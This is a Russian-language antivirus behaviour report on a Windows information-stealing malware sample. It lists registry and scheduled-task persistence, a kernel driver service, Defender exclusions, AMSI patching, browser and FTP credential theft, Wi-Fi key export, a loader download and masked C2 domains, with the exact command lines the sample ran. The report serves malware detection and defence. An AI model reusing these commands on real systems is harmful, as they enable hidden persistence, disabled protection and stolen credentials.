Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon] 'Userinit' = '<SYSTEM32>\userinit.exe,%WINDIR%\INF\.NETFramework\CORPerfMonSymbols.exe'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\launch adobe ccxprocess
- <SYSTEM32>\tasks\xccprocess
- <SYSTEM32>\tasks\microsoft\windows\windows update listner
- <SYSTEM32>\tasks\microsoft\microsoft launcher
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\aswArPot.sys] 'ImagePath' = '%WINDIR%\temp\aswArPot.bin'
- [HKLM\SYSTEM\CurrentControlSet\Services\System Diagnostics Host] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\System Diagnostics Host] 'ImagePath' = '%WINDIR%\SysWOW64\SystemDiagnosticsHost.exe'
Создает следующие сервисы
- 'aswArPot.sys' %WINDIR%\temp\aswArPot.bin
- 'System Diagnostics Host' %WINDIR%\SysWOW64\SystemDiagnosticsHost.exe
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath 'asiGxAc.exe'"
Запускает на исполнение
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="XCCProcess" dir=in action=allow program="%WINDIR%\Media\mppr.exe" enable=yes
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe
- %WINDIR%\explorer.exe
Патчит код
в динамической библиотеке AMSI
- Процесс asigxac.exe, модуль Amsi.dll
- Процесс mppr.exe, модуль Amsi.dll
в динамической библиотеке NTDLL
- Процесс asigxac.exe, модуль ntdll.dll
- Процесс mppr.exe, модуль ntdll.dll
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\securityhealthsystray.exe
- <SYSTEM32>\securityhealthservice.exe
следующие пользовательские процессы:
- firefox.exe
Ищет ветки реестра, отвечающие за хранение паролей сторонними программами
- [HKCU\SOFTWARE\FTPWare\COREFTP\Sites]
- [HKCU\Software\Martin Prikryl\WinSCP 2\Sessions]
- [HKCU\Software\SimonTatham\PuTTY\Sessions]
Читает файлы, отвечающие за хранение паролей сторонними программами
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\<Имя файла>.exe.log
- %TEMP%\asigxac.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\aspnet_compiler.exe.log
- %TEMP%\ifdehk1v.30y
- %TEMP%\dq0w0wop.hxc
- %TEMP%\tmp1643.tmp.tmpdb
- %TEMP%\vfdpvsqr.4jc
- %TEMP%\hvwxehni.ybq
- %TEMP%\tmp171e.tmp.tmpdb
- %TEMP%\tmp17cb.tmp.tmpdb
- %TEMP%\majenlcb.tc3
- %TEMP%\tmp17ec.tmp.tmpdb
- %TEMP%\it5tl5d5.h1n
- %WINDIR%\media\mppr.exe
- %WINDIR%\inputmethod\shared\rc_connectedaccount.exe
- %TEMP%\xuhuox0u\xuhuox0u.0.cs
- %TEMP%\xuhuox0u\xuhuox0u.cmdline
- %TEMP%\xuhuox0u\xuhuox0u.out
- %TEMP%\csc8bb505cead4c4d55ad93a9fdcbdb6632.tmp
- %TEMP%\res3f66.tmp
- %TEMP%\tmp39f7.tmp
- %WINDIR%\inf\.netframework\corperfmonsymbols.exe
- %TEMP%\vekch2zz\vekch2zz.0.cs
- %TEMP%\vekch2zz\vekch2zz.cmdline
- %TEMP%\vekch2zz\vekch2zz.out
- %TEMP%\cscda2bd819576e4a88957d87b14cc77fa0.tmp
- %TEMP%\res44a6.tmp
- %TEMP%\tmp41a9.tmp
- %WINDIR%\inf\usbhub\usbperfsym.exe
- %WINDIR%\syswow64\systemdiagnosticshost.exe
- %WINDIR%\media\msldriver.dll
- %WINDIR%\temp\aswarpot.bin
- C:\recovery\oem\resetconfig.xml
- C:\recovery\oem\013a9950-38ef-435c-bb5f-019539160a1e.bat
- C:\recovery\oem\5b31823d-711a-4368-96ce-8454bd756d46.exe
- %TEMP%\xchruhsh.eqf.bat
- nul
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\asigxac.exe.log
- %TEMP%\tmpa312.tmp
- %TEMP%\tmpa351.tmp
Присваивает атрибут 'скрытый' для следующих файлов
- %WINDIR%\media\mppr.exe
- %WINDIR%\inputmethod\shared\rc_connectedaccount.exe
- %WINDIR%\inf\.netframework\corperfmonsymbols.exe
- %WINDIR%\inf\usbhub\usbperfsym.exe
- %WINDIR%\syswow64\systemdiagnosticshost.exe
- %WINDIR%\media\msldriver.dll
Удаляет файлы, которые сам же создал
- %TEMP%\ifdehk1v.30y
- %TEMP%\dq0w0wop.hxc
- %TEMP%\vfdpvsqr.4jc
- %TEMP%\hvwxehni.ybq
- %TEMP%\tmp1643.tmp.tmpdb
- %TEMP%\tmp171e.tmp.tmpdb
- %TEMP%\tmp17cb.tmp.tmpdb
- %TEMP%\majenlcb.tc3
- %TEMP%\tmp17ec.tmp.tmpdb
- %TEMP%\it5tl5d5.h1n
- %TEMP%\res3f66.tmp
- %TEMP%\csc8bb505cead4c4d55ad93a9fdcbdb6632.tmp
- %TEMP%\xuhuox0u\xuhuox0u.0.cs
- %TEMP%\xuhuox0u\xuhuox0u.cmdline
- %TEMP%\xuhuox0u\xuhuox0u.out
- %TEMP%\tmp39f7.tmp
- %TEMP%\res44a6.tmp
- %TEMP%\cscda2bd819576e4a88957d87b14cc77fa0.tmp
- %TEMP%\vekch2zz\vekch2zz.out
- %TEMP%\vekch2zz\vekch2zz.cmdline
- %TEMP%\vekch2zz\vekch2zz.0.cs
- %TEMP%\tmp41a9.tmp
- %TEMP%\tmpa312.tmp
- %TEMP%\tmpa351.tmp
Сетевая активность
Подключается к
- 'ic###azip.com':80
- 'si####clickteam.cc':59999
- 'vv######jnj25i5.hopto.org':443
- 'vv######gyuigi2.hopto.org':443
- 'vv######gyuigi2.hopto.org':80
- 'vv######gyuigi2.hopto.org':6062
- 'vv######gyuigi2.hopto.org':5555
TCP
Запросы HTTP GET
- http://ic###azip.com/
- http://31.##.208.135/files/loader/cvmegafull.exe
Другие
- 'si####clickteam.cc':59999
- 'vv######jnj25i5.hopto.org':443
- 'vv######gyuigi2.hopto.org':443
- 'vv######gyuigi2.hopto.org':6062
UDP
- DNS ASK ic###azip.com
- DNS ASK si####clickteam.cc
- DNS ASK 2q####fskwl4qe1.cc
- DNS ASK vv########j25i5.freedynamicdns.org
- DNS ASK 2y#######fl2qlo.ddnsking.com
- DNS ASK 2n####9sk4l2o91.top
- DNS ASK 29######qt9ih4v.hopto.org
- DNS ASK ty######ht82qlo.gotdns.ch
- DNS ASK 2n######k4l2o91.webhop.me
- DNS ASK vv######gyuigi2.webhop.me
- DNS ASK mq######9dlqt91.hopto.org
- DNS ASK 7n######qyweo91.myftp.org
- DNS ASK z8####jqpxt19zq.top
- DNS ASK 2y########8iqlo.freedynamicdns.org
- DNS ASK 2q######kwl4qe1.myftp.org
- DNS ASK xq#######twe81v.bounceme.net
- DNS ASK ty#######t82qlo.3utilities.com
- DNS ASK 7x####lqtn5sjr3.cc
- DNS ASK vv#######yuigi2.ddnsking.com
- DNS ASK 29######qt9ih4v.webhop.me
- DNS ASK 8j########6ns92.freedynamicdns.org
- DNS ASK 2n####9uqywio91.top
- DNS ASK z8######pxt19zq.hopto.org
- DNS ASK ww#######yui3s1.ddnsking.com
- DNS ASK ww########ui3s1.freedynamicdns.org
- DNS ASK 7x######tn5sjr3.gotdns.ch
- DNS ASK 2y####fskfl2qlo.cc
- DNS ASK 7x######tn5sjr3.hopto.org
- DNS ASK 0a######jtwkq21.gotdns.ch
- DNS ASK 8j####glwi6ns92.cc
- DNS ASK 8j######wi6ns92.gotdns.ch
- DNS ASK 2y#######t8iqlo.bounceme.net
- DNS ASK 29######el2h4tv.webhop.me
- DNS ASK 3w########yeqow.freedynamicdns.org
- DNS ASK 7x######tn5sjr3.myftp.org
- DNS ASK vv#######nj25i5.ddnsking.com
- DNS ASK kq####j2qtph2l9.top
- DNS ASK 0a########wkq21.freedynamicdns.org
- DNS ASK 0a#######twkq21.3utilities.com
- DNS ASK 2n######k4l2o91.gotdns.ch
- DNS ASK q9#######t9qh4v.bounceme.net
- DNS ASK 0a######jtwkq21.hopto.org
- DNS ASK 2y#######fl2qlo.bounceme.net
- DNS ASK ty######ht82qlo.myftp.org
- DNS ASK 91####fjnqtphj2.top
- DNS ASK kq######qtph2l9.myftp.org
- DNS ASK 2y######ht8iqlo.gotdns.ch
- DNS ASK 2n########l2o91.freedynamicdns.org
- DNS ASK z8######pxt19zq.myftp.org
- DNS ASK mq######9dlqt91.myftp.org
- DNS ASK 3w#######tyeqow.ddnsking.com
- DNS ASK vv####wwgyuigi2.cc
- DNS ASK ww######gyui3s1.webhop.me
- DNS ASK 2q########22qe1.freedynamicdns.org
- DNS ASK 2y####fskfl2qlo.top
- DNS ASK mq######9dlqt91.webhop.me
- DNS ASK 2n########wio91.freedynamicdns.org
- DNS ASK ww######gyui3s1.myftp.org
- DNS ASK 7n#######yweo91.bounceme.net
- DNS ASK 2n####9uqywio91.cc
- DNS ASK vq####fqnzqtqe1.top
- DNS ASK mq#######dlqt91.ddnsking.com
- DNS ASK 2n######k4l2o91.hopto.org
- DNS ASK vq######nzqtqe1.webhop.me
- DNS ASK 91########tphj2.freedynamicdns.org
- DNS ASK q9####jfqt9qh4v.top
- DNS ASK 2y####fuht8iqlo.top
- DNS ASK q9#######t9qh4v.3utilities.com
- DNS ASK 8j######wi6ns92.hopto.org
- DNS ASK 8j#######i6ns92.bounceme.net
- DNS ASK 2q#######f22qe1.ddnsking.com
- DNS ASK z8######pxt19zq.webhop.me
- DNS ASK vv#######ij25i4.bounceme.net
- DNS ASK ty######ht82qlo.webhop.me
- DNS ASK 2q####fskf22qe1.top
- DNS ASK vv#######nj25i5.bounceme.net
- DNS ASK xq######qtwe81v.webhop.me
- DNS ASK mq######9dlqt91.gotdns.ch
- DNS ASK 29#######t9ih4v.ddnsking.com
- DNS ASK vq#######zqtqe1.ddnsking.com
- DNS ASK 7x######tn5sjr3.webhop.me
- DNS ASK kq#######tph2l9.bounceme.net
- DNS ASK 2y#######t8iqlo.ddnsking.com
- DNS ASK 29######el2h4tv.gotdns.ch
- DNS ASK q9######qt9qh4v.myftp.org
- DNS ASK 2n#######4l2o91.3utilities.com
- DNS ASK 7n####9tqyweo91.top
- DNS ASK 2y#######t8iqlo.3utilities.com
- DNS ASK vv#######ij25i4.ddnsking.com
- DNS ASK 0a######jtwkq21.webhop.me
- DNS ASK vv#######ij25i4.3utilities.com
- DNS ASK ty####fqht82qlo.top
- DNS ASK 2q######kf22qe1.myftp.org
- DNS ASK 29#######l2h4tv.bounceme.net
- DNS ASK 2n#######4l2o91.ddnsking.com
- DNS ASK vq#######zqtqe1.bounceme.net
- DNS ASK 2y######kfl2qlo.webhop.me
- DNS ASK kq########ph2l9.freedynamicdns.org
- DNS ASK kq####j2qtph2l9.cc
- DNS ASK mq####j29dlqt91.cc
- DNS ASK 29####jsel2h4tv.top
- DNS ASK 29######qt9ih4v.myftp.org
- DNS ASK 2n####9sk4l2o91.cc
- DNS ASK 0a#######twkq21.ddnsking.com
- DNS ASK 0a####pqjtwkq21.top
- DNS ASK 91#######qtphj2.ddnsking.com
- DNS ASK z8#######xt19zq.ddnsking.com
- DNS ASK vv####dsjnj25i5.cc
- DNS ASK 2y######kfl2qlo.myftp.org
- DNS ASK ty####fqht82qlo.cc
- DNS ASK vq########qtqe1.freedynamicdns.org
- DNS ASK 2y######ht8iqlo.hopto.org
- DNS ASK ww#######yui3s1.3utilities.com
- DNS ASK 0a#######twkq21.bounceme.net
- DNS ASK 2n######qywio91.hopto.org
- DNS ASK 2q######kwl4qe1.gotdns.ch
- DNS ASK 7x########5sjr3.freedynamicdns.org
- DNS ASK ty######ht82qlo.hopto.org
- DNS ASK 2q####fskwl4qe1.top
- DNS ASK q9#######t9qh4v.ddnsking.com
- DNS ASK 2q#######wl4qe1.ddnsking.com
- DNS ASK 7n#######yweo91.3utilities.com
- DNS ASK z8#######xt19zq.3utilities.com
- DNS ASK 7n####9tqyweo91.cc
- DNS ASK vv#######yuigi2.bounceme.net
- DNS ASK 7x####lqtn5sjr3.top
- DNS ASK 29####juqt9ih4v.cc
- DNS ASK mq########lqt91.freedynamicdns.org
- DNS ASK 29########2h4tv.freedynamicdns.org
- DNS ASK z8#######xt19zq.bounceme.net
- DNS ASK 3w#######tyeqow.3utilities.com
- DNS ASK 2q######kwl4qe1.hopto.org
- DNS ASK q9####jfqt9qh4v.cc
- DNS ASK 2q#######f22qe1.bounceme.net
- DNS ASK vv######jnj25i5.hopto.org
- DNS ASK 3w######htyeqow.gotdns.ch
- DNS ASK 7n########weo91.freedynamicdns.org
- DNS ASK q9######qt9qh4v.webhop.me
- DNS ASK 2q####fskf22qe1.cc
- DNS ASK vv######gyuigi2.gotdns.ch
- DNS ASK vq######nzqtqe1.myftp.org
- DNS ASK 0a######jtwkq21.myftp.org
- DNS ASK xq######qtwe81v.hopto.org
- DNS ASK vq#######zqtqe1.3utilities.com
- DNS ASK kq######qtph2l9.hopto.org
- DNS ASK 2n#######4l2o91.bounceme.net
- DNS ASK 3w######htyeqow.hopto.org
- DNS ASK z8######pxt19zq.gotdns.ch
- DNS ASK vv####wwgyuigi2.top
- DNS ASK 0a####pqjtwkq21.cc
- DNS ASK ww######gyui3s1.gotdns.ch
- DNS ASK xq#######twe81v.ddnsking.com
- DNS ASK 29######el2h4tv.myftp.org
- DNS ASK 2y########l2qlo.freedynamicdns.org
- DNS ASK vv########uigi2.freedynamicdns.org
- DNS ASK 2y####fuht8iqlo.cc
- DNS ASK vv#######yuigi2.3utilities.com
- DNS ASK 2q#######wl4qe1.3utilities.com
- DNS ASK 2q######kf22qe1.gotdns.ch
- DNS ASK xq####fnqtwe81v.top
- DNS ASK mq#######dlqt91.3utilities.com
- DNS ASK 2n######qywio91.myftp.org
- DNS ASK 2y######ht8iqlo.myftp.org
- DNS ASK 8j#######i6ns92.ddnsking.com
- DNS ASK kq######qtph2l9.webhop.me
- DNS ASK 29#######l2h4tv.ddnsking.com
- DNS ASK 29######qt9ih4v.gotdns.ch
- DNS ASK vv######oij25i4.gotdns.ch
- DNS ASK 2n#######ywio91.ddnsking.com
- DNS ASK vq######nzqtqe1.hopto.org
- DNS ASK 7n######qyweo91.webhop.me
- DNS ASK 2q######kwl4qe1.webhop.me
- DNS ASK vv####u9oij25i4.top
- DNS ASK 7x#######n5sjr3.ddnsking.com
- DNS ASK vv######gyuigi2.hopto.org
Другое
Ищет следующие окна
- ClassName: 'MouseZ' WindowName: 'Magellan MSWHEEL'
Создает и запускает на исполнение
- '%TEMP%\asigxac.exe'
- '%WINDIR%\syswow64\systemdiagnosticshost.exe'
- '%WINDIR%\media\mppr.exe'
Запускает на исполнение
- '%WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe'
- '%WINDIR%\syswow64\netsh.exe' wlan export profile key=clear folder="%TEMP%\IntelixWifiExport_084f18360c2f40098406d4700aceb0bf"
- '%WINDIR%\syswow64\netsh.exe' wlan show profiles
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\xuhuox0u\xuhuox0u.cmdline" (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3F66.tmp" "%TEMP%\CSC8BB505CEAD4C4D55AD93A9FDCBDB6632.TMP" (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\vekch2zz\vekch2zz.cmdline" (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES44A6.tmp" "%TEMP%\CSCDA2BD819576E4A88957D87B14CC77FA0.TMP" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c sc.exe create aswArPot.sys binPath= %WINDIR%\temp\aswArPot.bin type= kernel & exit
- '<SYSTEM32>\sc.exe' create aswArPot.sys binPath= %WINDIR%\temp\aswArPot.bin type= kernel
- '<SYSTEM32>\cmd.exe' /c sc.exe start aswArPot.sys & exit
- '<SYSTEM32>\sc.exe' start aswArPot.sys
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "%WINDIR%\Media\mppr.exe" /sc onlogon & exit
- '<SYSTEM32>\schtasks.exe' /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "%WINDIR%\Media\mppr.exe" /sc onlogon
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "%WINDIR%\INF\usbhub\usbperfsym.exe" /sc onlogon & exit
- '<SYSTEM32>\schtasks.exe' /create /f /rl highest /tn "XCCProcess" /tr "%WINDIR%\INF\usbhub\usbperfsym.exe" /sc onlogon
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "%WINDIR%\Media\mppr.exe" & exit
- '<SYSTEM32>\schtasks.exe' /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "%WINDIR%\Media\mppr.exe"
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "%WINDIR%\InputMethod\SHARED\RC_ConnectedAccount.exe" & exit
- '<SYSTEM32>\schtasks.exe' /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "%WINDIR%\InputMethod\SHARED\RC_ConnectedAccount.exe"
- '<SYSTEM32>\cmd.exe' /c sc query "System Diagnostics Host" & exit
- '<SYSTEM32>\sc.exe' query "System Diagnostics Host"
- '<SYSTEM32>\cmd.exe' /c sc create "System Diagnostics Host" binPath= "%WINDIR%\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto & exit
- '<SYSTEM32>\sc.exe' create "System Diagnostics Host" binPath= "%WINDIR%\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto
- '<SYSTEM32>\cmd.exe' /c sc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks." & exit
- '<SYSTEM32>\sc.exe' description "System Diagnostics Host" "Monitors and manages system diagnostic tasks."
- '<SYSTEM32>\cmd.exe' /c sc start "System Diagnostics Host" & exit
- '<SYSTEM32>\sc.exe' start "System Diagnostics Host"
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall show rule name="XCCProcess" & exit
- '<SYSTEM32>\netsh.exe' advfirewall firewall show rule name="XCCProcess"
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="XCCProcess" dir=in action=allow program="%WINDIR%\Media\mppr.exe" enable=yes & exit
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\xchruhsh.eqf.bat""
- '<SYSTEM32>\timeout.exe' 8
- '<SYSTEM32>\securityhealthservice.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath 'asiGxAc.exe'" (со скрытым окном)
